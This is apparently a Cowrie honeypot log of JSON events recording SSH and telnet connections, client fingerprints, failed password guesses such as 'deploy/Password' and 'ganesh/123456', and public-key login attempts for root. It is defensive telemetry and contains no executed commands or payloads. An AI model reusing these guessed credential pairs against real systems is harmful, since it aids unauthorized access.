{"eventid":"cowrie.session.closed","duration":48.14607310295105,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:56.308388Z","src_ip":"128.199.8.54","session":"a966afc45c85","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Password","message":"login attempt [deploy/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:56.944462Z","src_ip":"103.248.120.6","session":"ce65ddef1aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":27184,"dst_ip":"10.17.0.5","dst_port":22,"session":"82173f82e6af","protocol":"ssh","message":"New connection: 123.58.215.196:27184 (10.17.0.5:22) [session: 82173f82e6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:57.399853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:57.405252Z","src_ip":"123.58.215.196","session":"82173f82e6af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:57.622524Z","src_ip":"123.58.215.196","session":"82173f82e6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:58.170896Z","src_ip":"103.248.120.6","session":"ce65ddef1aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ganesh","password":"123456","message":"login attempt [ganesh/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:58.505645Z","src_ip":"123.58.215.196","session":"82173f82e6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:02:59.728323Z","src_ip":"123.58.215.196","session":"82173f82e6af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.252022981643677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:13.730191Z","src_ip":"132.148.22.172","session":"cbb0ef0a3bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":33810,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f2ca29069e3","protocol":"ssh","message":"New connection: 111.238.174.6:33810 (10.17.0.5:22) [session: 5f2ca29069e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:16.483832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:16.490395Z","src_ip":"111.238.174.6","session":"5f2ca29069e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:16.683747Z","src_ip":"111.238.174.6","session":"5f2ca29069e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdf1234","message":"login attempt [user/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:17.403547Z","src_ip":"111.238.174.6","session":"5f2ca29069e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":38186,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a9b766cbcf","protocol":"ssh","message":"New connection: 43.129.44.66:38186 (10.17.0.5:22) [session: f0a9b766cbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:17.761630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:17.771150Z","src_ip":"43.129.44.66","session":"f0a9b766cbcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:18.022166Z","src_ip":"43.129.44.66","session":"f0a9b766cbcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:18.595941Z","src_ip":"111.238.174.6","session":"5f2ca29069e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"0","message":"login attempt [test/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:19.061744Z","src_ip":"43.129.44.66","session":"f0a9b766cbcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:20.315567Z","src_ip":"43.129.44.66","session":"f0a9b766cbcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":49812,"dst_ip":"159.203.135.109","dst_port":22,"session":"de56cef4202e","protocol":"ssh","message":"New connection: 91.211.95.158:49812 (159.203.135.109:22) [session: de56cef4202e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:21.030983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:21.035150Z","src_ip":"91.211.95.158","session":"de56cef4202e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:21.187265Z","src_ip":"91.211.95.158","session":"de56cef4202e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"biurokarier","password":"biurokarier","message":"login attempt [biurokarier/biurokarier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:21.835511Z","src_ip":"91.211.95.158","session":"de56cef4202e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:22.990119Z","src_ip":"91.211.95.158","session":"de56cef4202e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.90.41","src_port":31954,"dst_ip":"10.17.0.5","dst_port":22,"session":"646c493a8f0a","protocol":"ssh","message":"New connection: 103.176.90.41:31954 (10.17.0.5:22) [session: 646c493a8f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:23.380352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:23.384164Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:23.469473Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:55:37:09:55:fb:c1:73:d3:7b:24:e8:fb:a5:a3:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMrRcqebGIa5hA0AifYZqx+iYJeCZIlOwCRkpqFonjV8nisGF1VAa3AkhfmdzqtNiVx3OlE05/CD84UKJXifGKatl9Bt1GqxK7Cj/jZS6pBSLhH37Fhw/W4LO0tyuX4/tEOl0ZAZw0HnyPeFOfATzmuUfyyuZe5XTn+kll/farDni0mMuVx+607bKplTjy6d96S6ZERxkkv4sE2zTm5k0LQ4AZfB6iG/r7nbjr6coVBwLtFAX9e4g3geeuz+rxjCHV4xm3uA+tWjHtxG8GzM/iPXUiSprZiZGPQ0AmpUbm8gt8ggAoNpfBCPHK/CJNCnnCpfxVEESgErFAT51MRrdJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:55:37:09:55:fb:c1:73:d3:7b:24:e8:fb:a5:a3:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:23.851408Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:55:37:09:55:fb:c1:73:d3:7b:24:e8:fb:a5:a3:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMrRcqebGIa5hA0AifYZqx+iYJeCZIlOwCRkpqFonjV8nisGF1VAa3AkhfmdzqtNiVx3OlE05/CD84UKJXifGKatl9Bt1GqxK7Cj/jZS6pBSLhH37Fhw/W4LO0tyuX4/tEOl0ZAZw0HnyPeFOfATzmuUfyyuZe5XTn+kll/farDni0mMuVx+607bKplTjy6d96S6ZERxkkv4sE2zTm5k0LQ4AZfB6iG/r7nbjr6coVBwLtFAX9e4g3geeuz+rxjCHV4xm3uA+tWjHtxG8GzM/iPXUiSprZiZGPQ0AmpUbm8gt8ggAoNpfBCPHK/CJNCnnCpfxVEESgErFAT51MRrdJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:23.854434Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:c0:07:97:1a:fd:d0:52:9d:7c:44:07:58:e4:29:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD4ixSDgbu1DU8IW10RJMPwgz+7spvX72mqsLrpiiNb8rGgDf06abccLMUhEGB/DhrzLcuJ8V0N7TaGGcsKsAg7sqHHnHvqol7iureGeZRvY3o4ufriB+bGIXIJmVCRUW7ITTy6ONn1vA/1R5lKZs3wUDQsuTsOMX/84wWlVqotVmHyrSdmFMAN6tITPbzLzXDUBEWioMUoHpwAu09O32sO0slW9VYJbhCSlVNQEt/FAvPIGYUPxLVw2IG7xywE9d6T++XfF8Ra25VH4XZ1jH2CK/sQOJqRmc7ew7jtqcPw8stM6EOwH7bbb2H6wyYHMUXEFQ/LxiqmwhY1uqWSAIYqvAnhSdcgW6rdJLVK/NYJvcbHnqkenvIT2ykUw3dd2XVIXPxt03NFLTeFUkBg/hqxxjnRbRHVPQAzYft31BJPYoOpRAi00DOqJ6P+f4QDo7dHOiltVUj9k0qoTlDfdeoQ1v95VcfRAxAHLg1xlsKolT+OBoiT9+8aiwSIFXNpbvmNNAPnd4U3cfalhhEizqUmTGryKhEuECSB9z6Y7mebbBy0XIMWb+ZqTTb3I1KzXuK+MVMM4coc+gHO9HV02jADiGcUKEFOBmZUXCnh+HgXhjxpB+LrvzSO1TA2VECqTv3cBkz1vWLQACq0i3S/OSoEsaiRZ/Cd2XCmjt8nzZHBlw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:c0:07:97:1a:fd:d0:52:9d:7c:44:07:58:e4:29:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:23.937847Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:c0:07:97:1a:fd:d0:52:9d:7c:44:07:58:e4:29:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD4ixSDgbu1DU8IW10RJMPwgz+7spvX72mqsLrpiiNb8rGgDf06abccLMUhEGB/DhrzLcuJ8V0N7TaGGcsKsAg7sqHHnHvqol7iureGeZRvY3o4ufriB+bGIXIJmVCRUW7ITTy6ONn1vA/1R5lKZs3wUDQsuTsOMX/84wWlVqotVmHyrSdmFMAN6tITPbzLzXDUBEWioMUoHpwAu09O32sO0slW9VYJbhCSlVNQEt/FAvPIGYUPxLVw2IG7xywE9d6T++XfF8Ra25VH4XZ1jH2CK/sQOJqRmc7ew7jtqcPw8stM6EOwH7bbb2H6wyYHMUXEFQ/LxiqmwhY1uqWSAIYqvAnhSdcgW6rdJLVK/NYJvcbHnqkenvIT2ykUw3dd2XVIXPxt03NFLTeFUkBg/hqxxjnRbRHVPQAzYft31BJPYoOpRAi00DOqJ6P+f4QDo7dHOiltVUj9k0qoTlDfdeoQ1v95VcfRAxAHLg1xlsKolT+OBoiT9+8aiwSIFXNpbvmNNAPnd4U3cfalhhEizqUmTGryKhEuECSB9z6Y7mebbBy0XIMWb+ZqTTb3I1KzXuK+MVMM4coc+gHO9HV02jADiGcUKEFOBmZUXCnh+HgXhjxpB+LrvzSO1TA2VECqTv3cBkz1vWLQACq0i3S/OSoEsaiRZ/Cd2XCmjt8nzZHBlw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:23.941697Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:89:41:75:2a:df:61:6d:dc:9b:a9:bf:6e:1e:37:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnjORiy8RTfbicLaoya7kjgPIadPbSBM6QUyqu3l1jxubJM8O0OeRFWB8VMbtL8TNM2Hb9JLZ46K5bscbaBu/VUxgK9+GpHB3e8SS/xb4z2hHmD65OZBNe5mW6dYcILCmdtq8ab6HlIGIgb+UOFLMSTTSdtxgSJMgbbF2s2yS0nkYTAs8uoo3mxPoKG7f4O2zdsaTRn+Q1yTtlr2SxeyDBbEq9LDlUGKYJg/+CITmkPenqPOjAoQql80t1UuH/gyg7k6MwXyu812qR855004XMu8/KZF96ha76K/c1ePyuZm6qEnJKLhFTjcuNsBjvvBxPpNrFLL88T0fNqmpqBwaKNvDGxeFl+8Zdkzl8qi6KZ3345c3rmxZE6ItlChGDukHgfgOI/A29QSMlcy3yQo+l0196f6NMIWcD4x0FiHDzo6k9yz+1QSSLDFYPRqxnboaKypz7wbfBQXi1EaisJq99OpnSeWFFzprnMytpl2mN2OzRemDtG/0dMfncr5YBj6s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:89:41:75:2a:df:61:6d:dc:9b:a9:bf:6e:1e:37:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:24.022698Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:89:41:75:2a:df:61:6d:dc:9b:a9:bf:6e:1e:37:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnjORiy8RTfbicLaoya7kjgPIadPbSBM6QUyqu3l1jxubJM8O0OeRFWB8VMbtL8TNM2Hb9JLZ46K5bscbaBu/VUxgK9+GpHB3e8SS/xb4z2hHmD65OZBNe5mW6dYcILCmdtq8ab6HlIGIgb+UOFLMSTTSdtxgSJMgbbF2s2yS0nkYTAs8uoo3mxPoKG7f4O2zdsaTRn+Q1yTtlr2SxeyDBbEq9LDlUGKYJg/+CITmkPenqPOjAoQql80t1UuH/gyg7k6MwXyu812qR855004XMu8/KZF96ha76K/c1ePyuZm6qEnJKLhFTjcuNsBjvvBxPpNrFLL88T0fNqmpqBwaKNvDGxeFl+8Zdkzl8qi6KZ3345c3rmxZE6ItlChGDukHgfgOI/A29QSMlcy3yQo+l0196f6NMIWcD4x0FiHDzo6k9yz+1QSSLDFYPRqxnboaKypz7wbfBQXi1EaisJq99OpnSeWFFzprnMytpl2mN2OzRemDtG/0dMfncr5YBj6s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:24.026213Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:15:f4:eb:0e:90:f6:a8:3d:23:cf:33:84:d7:9e:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDnGsd7XGX4mrxie37/xcVG/jEUU27QGuycWsSDlAayo2lelI0Mgsltixyb1kkVX8z6gw1VePj/y+euNJHRolmog8tIWkFzT5ZJo0/pQGnjqu7vvlpILVufu0L9C6sk93fjK+xc7oc34CM6gBbo/Lk7UPvN7fKhA1BRg/KXOMjiEZ+slF60h9XGjPe9olWmBVXCGyCcSAAnEzRh9Mh9T7HYBVLaPioA8LMj92lNxSMmgp/47wlA2wZJidFHwA9pyIzmWtLqHRJkzBKBAo9ZBLZS5IFvZ6XtViNDmTWWVOAD+fDRIqu19lOKuw7vsxwgpqRPBCJhyP9J2btWLRRQ9RVgN74Y5JcDqGE/G4pBxbBWYuqQPOhtpMlm7Mkx9UR/gn6y8dhLbww25HRJT0SDNcFll7kZ9bcRigANdQFf/Gw0q1IWJJNpFj/G4BbFzCJ33Ahz2wEo0xLXzexwUEup3l4uXHQk9MseHiF5fxOAJHMri+3upBbN7rHsQI9hZclvfA5bjv238/88yIREZGsjrTwBxoGaY+tDbuUHa13k7iNjjS9KlE2EEUbzdhu3pAo8Vpc9QsTNfdi+TloE31Pb4/YYDcHn2Lt1j0jhHSz8inWkcdKVJUb7JMuZWbnG5w/a1xxyYnORHrs6EgeaJhU5LaO8o30+YTtQz4fFki3Qry2eCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:15:f4:eb:0e:90:f6:a8:3d:23:cf:33:84:d7:9e:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:03:24.110610Z","src_ip":"103.176.90.41","session":"646c493a8f0a","protocol":"ssh"}
